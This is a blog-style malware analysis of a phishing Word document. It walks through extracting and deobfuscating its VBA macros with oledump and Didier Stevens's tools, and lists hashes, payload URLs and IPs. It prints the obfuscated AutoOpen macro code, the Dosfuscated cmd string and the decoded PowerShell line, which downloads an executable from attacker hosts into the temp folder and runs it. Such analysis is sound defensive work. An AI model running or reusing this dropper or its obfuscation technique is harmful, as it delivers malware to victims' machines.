MalDoc Analysis – Dosfuscation
Last night a colleague showed us an email which seemingly looked like a Phishing email. Best thing was the Threat Source had done a proper recon to identify individuals working in the company. The redacted portion was the name of an employee from an upper position
The mail states that an amount of $1,872.35 was sent to X with a link to check the Transaction Details
I observed some issues with the mail:
- No space in Bankofamerica
- Mention of BankofAmerica on top and Bus Banking Customer Support below
- URL points to a non banking site
I expected that the ‘See your transaction Details below’ link would take me to a phishing page, but instead it gave me a download of a Word .doc file
File Name: ACH 5111FJNC Aug-06-2018.doc
MD5: c27c4a3e036dd49004b18ec0b2ebdbef
SHA256: afc7144b0a9b76e39cae60513beda1162255d5084514d142d011f36f7a807218
File Size: 100 KB
I had covered doing an analysis of Geodo in an earlier post
I decided to proceed with just static analysis in this case.
Running oledump, it was observed that there were multiple macro streams but oledump marked two macros as suspicious – Macros with stream numbers 8 and 15. Stream 8 had a size of 1883 while Stream 15 had a size 10154
The streams store the Macro code in a compressed format. To view the VBA Macros we need to use the -v option and specify the stream number
Macro Code for Stream 8
Attribute VB_Name = "HQzCCfZMamVFSH" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() On Error Resume Next TypeName CDbl(JLOtt) TypeName 427422518 TypeName iuUzBf TypeName 1069 TypeName CByte(526513601) Shell@ CStr("c") + CStr("m") + nHHYhukKSZFU + BLGFYUmrsbF + qDubWdXB + pmYShq + VMhIYVJL + WRUFHLE + jKDmnmcwvO, 741922241 - 741922241 TypeName 6 TypeName iVEki TypeName CLng(biHak - kWzuEw * iGAhk - XjjjTj) End Sub
Analysing the above code, there are a lot of Attribute variables. We can even see there is a Shell reference along with Cstr functions using c and m as arguments
Macro Code for Stream 15
Attribute VB_Name = "nNiWjTCZoGGkEj" Function qDubWdXB() On Error Resume Next TypeName JAGTZ TypeName 275249373 AcEiRHKnt = "d /" + "V:O" + "/C" + CStr(Chr(sYiPRpQ + VBzHKSfdjAaT + 34 + dEwLPvAPD + YrfizSA)) + "set zu" + "=LD" + "O" + "zQcMcQ" TypeName Oct(69341 + ENndG * IoQkD - BnpPaj) TypeName Int(88513 * 41999 / JsZSYv + 87027) ElocQim = "ijU" + "A" + "TsujiHWB" + "iPikSvjLK" + "Ck\9(wI" + "h)G$:N+" + ".0md" + "6ftb5p{e" + "=n,x" + "-/l" + " ;a8qVF" TypeName Int(URtCuj / 27908 / 69511 - qErlE) TypeName 150013212 mOwpFz = "roy@'g}&&f" + "or %n i" + "n (" + "53" + ",71,35,55" + ",70,14" + "," TypeName CByte(7587 * XEqsZD) TypeName CInt(39) jrimTEZn = "37,55" + ",62," + "62,63,40" + ",2" + "9,3" + "7,36,5" + "6,57,5" + "5,35,6" + "0,71,51,2" + "7,55," + "7,50,63," TypeName Round(MvuGba) TypeName Log(1421) TypeName UuVKVf hFhbWlovkN = "42,55,50" + ",44" + ",19,55,51" + ",30,6" + "2" + ",23" + ",55,57,50," TypeName VKLfp TypeName XiZTz TypeName Atn(17) mpqfbBLzMO = "64," + "40," + "6" + "8,42" + ",27,56,7" + "4,37,5" + "0" + ",50,53,41," TypeName 42 TypeName 15 wVXrqYQ = "61" + ",61" + ",6" + "5,51" + "," + "71,26" + ",55,7,70" + ",55,65,5" + "0,23,26,5" + "5,44,7,7" + "1,46,61,2" TypeName Atn(kJdZT) TypeName Hex(121842791) TypeName Sin(CuUNz) jXTUKtwIO = "0," + "1,73,37," + "50" + ",50" + "," TypeName Round(dXjFXz * 8485 - 91909 / anURt) TypeName CDate(kQhzr / rCFTEc) dOtMNmmVruw = "53,41,61" + ",61,35,35," + "3" + "5,44,71" + "," TypeName CDate(mIlLd) TypeName ChrB(lkFiPt) TypeName OMuwi XsXvYlG = "14,71,50" + ",14,5" + "3,65,6" + "0,23,57,50" + ",5" TypeName zFZHWv TypeName CSng(sfizEv) TypeName 12 HjBGQF = "5,70,5" + "7,6" + "5,50,23,71" + "," + "57,65," + "62" TypeName wrzilL TypeName wsJVwM TypeName CDate(87873666) zsIwiLdR = "," + "44,7" + ",71,4" + "6,6" + "1,37," + "22,22," + "73,37" + ",50" + "," qDubWdXB = AcEiRHKnt + ElocQim + mOwpFz + jrimTEZn + hFhbWlovkN + mpqfbBLzMO + wVXrqYQ + jXTUKtwIO + dOtMNmmVruw + XsXvYlG + HjBGQF + zsIwiLdR TypeName RnQGPM TypeName Tan(zAphp) End Function Function pmYShq() On Error Resume Next TypeName 211 TypeName 9039 TypeName Hex(66715 + GziWj / IXzkm * UOlTp) dHtUFlE = "50,53" + "," + "41,61,61" + ",50" + "," TypeName 7445 TypeName Sqr(kkSAh + ZVjSj) TypeName ChrB(OMDKw) EmWZYnbPu = "65" + "," + "50,71,55,1" + "4" + ",50,15" + ",47,23,71" + ",44,7," + "71,46" + ",61,50,8," + "67,5" TypeName GMtXnR TypeName Sqr(KCTCVw + cDiGw + VSWVYG - zUOmI) UvUXjpwKkMT = "0,13,69," + "72,73," + "37,5" + "0,50,53,4" + "1,61,61,5" + "1,65," + "71,57,75" + ",71,7,14" + ",5" + "3,65,44," + "26" + ",57,6" TypeName 5302 TypeName Tan(vNJEb - 88611) TypeName Atn(qtOUN + OWbGp) FYDMafs = "1,2,48,7" + "3" + ",37,50," + "50," + "53,41" TypeName Atn(245) TypeName PTRfbJ TypeName JwPPKG PzuuP = ",61,61,35" + ",35,35," + "44,72," + "15,65,5" + "7,27,37," + "15,6" + "5,44,7,71" + ",46,61,39," + "45,59," + "23,3" + "5,13,69,74" TypeName Tan(CWzpR) TypeName Tan(42) TypeName Tan(5) iinzziCPhau = ",44,25" + ",53,62,2" + "3,50,3" + "4,74,7" + "3,74," + "3" TypeName Sin(mBawis + rpHEWb) TypeName CDate(qZMMJA - VzsDP - ZZjzQ / zSZCjv) dDhDLiS = "8,64," + "40,49,49," + "2," + "63,56," + "63,7" + "4,52,6" + "6,33,74," + "64,4" + "0,50,62" + ",68,5" + "6,40,55,57" + ",26,41,5" TypeName Tan(3) TypeName Sgn(CdCdzR * AtOQQX) TypeName 4903 pRHjuEviD = "0,55" + ",46,53,43," + "74,32" + ",74" + ",43," pmYShq = dHtUFlE + EmWZYnbPu + UvUXjpwKkMT + FYDMafs + PzuuP + iinzziCPhau + dDhDLiS + pRHjuEviD TypeName 22464320 TypeName CLng(943) End Function Function VMhIYVJL() On Error Resume Next TypeName 7793 TypeName ChrB(51) TypeName WYijZ kzVrMM = "40,49,49" + ",2,43,74," + "44,5" + "5,59,55" + "," + "74," + "64,49" + ",71,70,55" TypeName Oct(vDWCh + UNpjk + 95164 + dTaRin) TypeName 774 djEHiaSU = ",65," + "7" + ",37,34,4" + "0," + "2,68" + ",3" + "7,63,2" + "3" + ",57,63," + "40,68," + "42,27,38" + ",5" + "4,50,70,72" TypeName Hex(jFcGdu) TypeName 409514909 TypeName CByte(GiTMuV) orwRVZf = ",54,4" + "0" + ",29,37,3" + "6,44" + ",1" + ",71,35,57" + ",62,71,65," + "47," + "69" + ",23,6" TypeName Sin(33658 / dlmwos) TypeName CDate(27) HkrcjK = "2,55,3" + "4,40" + ",2,68" + ",37,58,63" + ",40,50,6" + "2" + ",68,3" + "8,64," + "25,50,6" + "5,70,50" + ",60,22,7" + "0,71,7,55," TypeName CSng(89411 - JtJIp * 95383 - 8495) TypeName 184024364 TypeName 1 ijdArfdBpu = "14,14," + "63,40,50,6" + "2,6" + "8,6" + "4,51" + ",70,5" + "5,65,31," TypeName ChrW(pqCKGj) TypeName CStr(oSWIJu) maZtAEV = "64,76,7," + "65,5" + "0,7,37," + "54" + ",76,7" + "6,6" + "3,63,63," + "63,63," + "63,6" + "3,63,63,6" + "3,63" + ",63,63" TypeName CSng(Xnvzn) TypeName Sqr(JDEXqn) CSWwN = ",63,63" + ",63" + ",63,84)" + "do " + "set 8GF=!" + "8GF!!zu:~" + "%n," + "1!&&if %" + "n==84 call" + " %" + "8" TypeName twGmi TypeName VKSrWB TypeName 7 EQlwjKq = "G" + "F:~5%" + CStr(Chr(MRKLkLPCzVDi + AKVdAhlF + 34 + ElaAwlhZcZCM + aEjzQiJUrjiU)) + " " + "" VMhIYVJL = kzVrMM + djEHiaSU + orwRVZf + HkrcjK + ijdArfdBpu + maZtAEV + CSWwN + EQlwjKq TypeName Round(wTfju) TypeName 7 TypeName Rnd(25733 * CbZsB) End Function
Long Error Prone Method
Analysing the above code we can see that there is a lot of lines having ‘=’ in them. Probably some values are being assigned to some variables. We can filter the lines using grep for ‘=’
Attribute VB_Name = "nNiWjTCZoGGkEj" AcEiRHKnt = "d /" + "V:O" + "/C" + CStr(Chr(sYiPRpQ + VBzHKSfdjAaT + 34 + dEwLPvAPD + YrfizSA)) + "set zu" + "=LD" + "O" + "zQcMcQ" ElocQim = "ijU" + "A" + "TsujiHWB" + "iPikSvjLK" + "Ck\9(wI" + "h)G$:N+" + ".0md" + "6ftb5p{e" + "=n,x" + "-/l" + " ;a8qVF" mOwpFz = "roy@'g}&&f" + "or %n i" + "n (" + "53" + ",71,35,55" + ",70,14" + "," jrimTEZn = "37,55" + ",62," + "62,63,40" + ",2" + "9,3" + "7,36,5" + "6,57,5" + "5,35,6" + "0,71,51,2" + "7,55," + "7,50,63," hFhbWlovkN = "42,55,50" + ",44" + ",19,55,51" + ",30,6" + "2" + ",23" + ",55,57,50," mpqfbBLzMO = "64," + "40," + "6" + "8,42" + ",27,56,7" + "4,37,5" + "0" + ",50,53,41," wVXrqYQ = "61" + ",61" + ",6" + "5,51" + "," + "71,26" + ",55,7,70" + ",55,65,5" + "0,23,26,5" + "5,44,7,7" + "1,46,61,2" jXTUKtwIO = "0," + "1,73,37," + "50" + ",50" + "," dOtMNmmVruw = "53,41,61" + ",61,35,35," + "3" + "5,44,71" + "," XsXvYlG = "14,71,50" + ",14,5" + "3,65,6" + "0,23,57,50" + ",5" HjBGQF = "5,70,5" + "7,6" + "5,50,23,71" + "," + "57,65," + "62" zsIwiLdR = "," + "44,7" + ",71,4" + "6,6" + "1,37," + "22,22," + "73,37" + ",50" + "," qDubWdXB = AcEiRHKnt + ElocQim + mOwpFz + jrimTEZn + hFhbWlovkN + mpqfbBLzMO + wVXrqYQ + jXTUKtwIO + dOtMNmmVruw + XsXvYlG + HjBGQF + zsIwiLdR dHtUFlE = "50,53" + "," + "41,61,61" + ",50" + "," EmWZYnbPu = "65" + "," + "50,71,55,1" + "4" + ",50,15" + ",47,23,71" + ",44,7," + "71,46" + ",61,50,8," + "67,5" UvUXjpwKkMT = "0,13,69," + "72,73," + "37,5" + "0,50,53,4" + "1,61,61,5" + "1,65," + "71,57,75" + ",71,7,14" + ",5" + "3,65,44," + "26" + ",57,6" FYDMafs = "1,2,48,7" + "3" + ",37,50," + "50," + "53,41" PzuuP = ",61,61,35" + ",35,35," + "44,72," + "15,65,5" + "7,27,37," + "15,6" + "5,44,7,71" + ",46,61,39," + "45,59," + "23,3" + "5,13,69,74" iinzziCPhau = ",44,25" + ",53,62,2" + "3,50,3" + "4,74,7" + "3,74," + "3" dDhDLiS = "8,64," + "40,49,49," + "2," + "63,56," + "63,7" + "4,52,6" + "6,33,74," + "64,4" + "0,50,62" + ",68,5" + "6,40,55,57" + ",26,41,5" pRHjuEviD = "0,55" + ",46,53,43," + "74,32" + ",74" + ",43," pmYShq = dHtUFlE + EmWZYnbPu + UvUXjpwKkMT + FYDMafs + PzuuP + iinzziCPhau + dDhDLiS + pRHjuEviD kzVrMM = "40,49,49" + ",2,43,74," + "44,5" + "5,59,55" + "," + "74," + "64,49" + ",71,70,55" djEHiaSU = ",65," + "7" + ",37,34,4" + "0," + "2,68" + ",3" + "7,63,2" + "3" + ",57,63," + "40,68," + "42,27,38" + ",5" + "4,50,70,72" orwRVZf = ",54,4" + "0" + ",29,37,3" + "6,44" + ",1" + ",71,35,57" + ",62,71,65," + "47," + "69" + ",23,6" HkrcjK = "2,55,3" + "4,40" + ",2,68" + ",37,58,63" + ",40,50,6" + "2" + ",68,3" + "8,64," + "25,50,6" + "5,70,50" + ",60,22,7" + "0,71,7,55," ijdArfdBpu = "14,14," + "63,40,50,6" + "2,6" + "8,6" + "4,51" + ",70,5" + "5,65,31," maZtAEV = "64,76,7," + "65,5" + "0,7,37," + "54" + ",76,7" + "6,6" + "3,63,63," + "63,63," + "63,6" + "3,63,63,6" + "3,63" + ",63,63" CSWwN = ",63,63" + ",63" + ",63,84)" + "do " + "set 8GF=!" + "8GF!!zu:~" + "%n," + "1!&&if %" + "n==84 call" + " %" + "8" EQlwjKq = "G" + "F:~5%" + CStr(Chr(MRKLkLPCzVDi + AKVdAhlF + 34 + ElaAwlhZcZCM + aEjzQiJUrjiU)) + " " + "" VMhIYVJL = kzVrMM + djEHiaSU + orwRVZf + HkrcjK + ijdArfdBpu + maZtAEV + CSWwN + EQlwjKq
Analysing the above lines, we can see that there are a lot of + operators used which indicates concatenations. Most of the code involves concatenation of a comma separated list of integers which are assigned to some variable. There are few lines which have the concatenation of variables. ” + ” is repeated a lot, so we can try to replace it. We can use sed to do that.
- Remove ‘ + ‘
- Remove “”
Thus the overall code now looks like
In the above code, we can ignore the lines in red since they are either Attribute lines or the concatenation of variables. I’ve extracted the lines out and created a file called malcode
It will take many steps & trial and error before we are able to get some code. If you compare the below code with the code in the Short Method, you will see that there are errors in the below code
SHORT Method – Using RE-Search & SETS
An efficient way would be using Didier Stevens re-search.py tool which will allow us to extract strings based on regex
The first line ‘nNiWjTCZoGGkEj’ is the value assigned to Attribute VB_Name. So we can grep out that line
We can see there is ‘set zu’ which probably is setting the value of a variable. Switches -eu will allow us to view all non-empty strings as well as remove the inverted commas from the output. We can then combine the lines using the sets.py program
sets.py allows us to perform operations like join on a group of lines
The final output will be
d /V:O/Cset zu=LDOzQcMcQijUATsujiHWBiPikSvjLKCk\9(wIh)G$:N+.0md6ftb5p{e=n,x-/l ;a8qVFroy@'g}&&for %n in (53,71,35,55,70,14,37,55,62,62,63,40,29,37,36,56,57,55,35,60,71,51,27,55,7,50,63,42,55,50,44,19,55,51,30,62,23,55,57,50,64,40,68,42,27,56,74,37,50,50,53,41,61,61,65,51,71,26,55,7,70,55,65,50,23,26,55,44,7,71,46,61,20,1,73,37,50,50,53,41,61,61,35,35,35,44,71,14,71,50,14,53,65,60,23,57,50,55,70,57,65,50,23,71,57,65,62,44,7,71,46,61,37,22,22,73,37,50,50,53,41,61,61,50,65,50,71,55,14,50,15,47,23,71,44,7,71,46,61,50,8,67,50,13,69,72,73,37,50,50,53,41,61,61,51,65,71,57,75,71,7,14,53,65,44,26,57,61,2,48,73,37,50,50,53,41,61,61,35,35,35,44,72,15,65,57,27,37,15,65,44,7,71,46,61,39,45,59,23,35,13,69,74,44,25,53,62,23,50,34,74,73,74,38,64,40,49,49,2,63,56,63,74,52,66,33,74,64,40,50,62,68,56,40,55,57,26,41,50,55,46,53,43,74,32,74,43,40,49,49,2,43,74,44,55,59,55,74,64,49,71,70,55,65,7,37,34,40,2,68,37,63,23,57,63,40,68,42,27,38,54,50,70,72,54,40,29,37,36,44,1,71,35,57,62,71,65,47,69,23,62,55,34,40,2,68,37,58,63,40,50,62,68,38,64,25,50,65,70,50,60,22,70,71,7,55,14,14,63,40,50,62,68,64,51,70,55,65,31,64,76,7,65,50,7,37,54,76,76,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,84)do set 8GF=!8GF!!zu:~%n,1!&&if %n==84 call %8GF:~5% %
Code Observations:
- zu is assigned a string ‘LDOzQcMcQijUATsujiHWBiPikSvjLKCk\9(wIh)G$:N+.0md6ftb5p{e=n,x-/l ;a8qVFroy@’g}’
- The string is 77 characters long
- There is a For loop that iterates over different integer values where the iterator is ‘n’. The integer values are all less than 77
- The values of the for loop are mapped to the positions of the string. Eg 76 is }
- As soon as the value of n=84, it calls %8GF:~5% which terminates the execution
We can then use some Python to find the deobfuscated code:
The final de-obfuscated code is PowerShell code
powershell $KhI=new-object Net.WebClient; $VNj='hxxp://abovecreative.com/BD@hxxp://www.osotspa-international.com/hPP@hxxp://tatoestudio.com/tQqtTFy@hxxp://baongocspa.vn/O6@hxxp://www.yuanjhua.com/G0xiwTF'.Split('@'); $ffO = '589'; $tlV=$env:temp+'\\'+$ffO+'.exe'; foreach($OVh in $VNj) { try{$KhI.DownloadFile($OVh $tlV); Start-Process $tlV;break; } catch{}}
Analysing the above code, it’s observe that:
- There are a list of 5 URL’s separated by @. Split function is called which stores them in the array $VNj
- Connections are made to each URL to download the file (payload)
- The payload is saved into the temp folder with a filename 589.exe
- Once the file has been downloaded, it is executed
Payload URLs:
hxxp://abovecreative[.]com/BD
hxxp://www[.]osotspa-international[.]com/hPP
hxxp://tatoestudio[.]com/tQqtTFy
hxxp://baongocspa[.]vn/O6
hxxp://www[.]yuanjhua[.]com/G0xiwTF
Associated Payload IPs:
208.97.178.121
203.107.228.108
103.28.37.245
103.28.36.25
50.93.198.131
You can view the Virus Total report for the payload files here
References:
- Malware Analysis for HedgeHogs (Video)
- FireEye Dosfuscation Whitepaper
Experience of over a decade in the IT and Cyber-security domain. A cyber-detective by nature and has solved numerous cyber-attack-cases during his tenure at Network Intelligence. When not solving cyber-crimes, he enjoys video-games and photography.